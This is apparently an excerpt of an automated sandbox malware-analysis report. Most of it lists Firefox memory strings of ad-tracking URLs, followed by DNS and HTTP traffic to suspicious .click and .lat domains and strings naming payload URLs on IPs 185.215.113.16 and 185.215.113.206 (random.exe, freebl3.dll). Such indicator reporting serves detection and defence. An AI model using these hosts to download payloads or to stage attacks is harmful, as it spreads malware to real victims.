"://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]]{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "*:/
Source: firefox.exe, 0000001C.00000002.3339647822.000001C137213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3339647822.000001C137213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sCan't invoke URIFixup in the content processhttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1handlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/FileUtils.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/uriloader/dbus-handler-app;1pictureinpicture@mozilla.org.412316860418 equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2893092457.000001C13B1F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2926081660.000001C138766000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/main/nimbus-desktop-experimentsPushMessageBadEncodingHeader equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000003.2893092457.000001C13B1F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C020A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C020A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C020A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sessionstore-final-state-write-complete doesn't implement nsITimerCallback - skippingPREF_APP_UPDATE_TIMERFIRSTINTERVALTimerManager:registerTimer - timerID: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000003.2926081660.000001C138766000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: updateSessionStoreForStorageoptInToExperiment/branch<_generateVariablesOnlySchemahttps://www.amazon.co.uk/https://www.wikipedia.org/Failed to flush browser: nimbus-desktop-experimentsUpdateSessionStoreForStorage^application\/(?:.+\+)?json$https://www.leboncoin.fr/https://www.aliexpress.com/devtools.jsonview.enabledhttps://www.facebook.com/main/nimbus-desktop-experiments equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3374498227.000001C138C72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C138853000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383079455.000001C13938A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3374498227.000001C138C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3382129658.000001C13932A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3023410813.0000003A26D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comKP equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3364852860.000001C138258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3364852860.000001C1382D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click

Source: firefox.exe, 0000001C.00000002.3339647822.000001C13728F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3050373606.000001C12796B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe?
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeg
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000B24000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll:U
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllDataserMetrics
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlla
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/ge
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/hpe
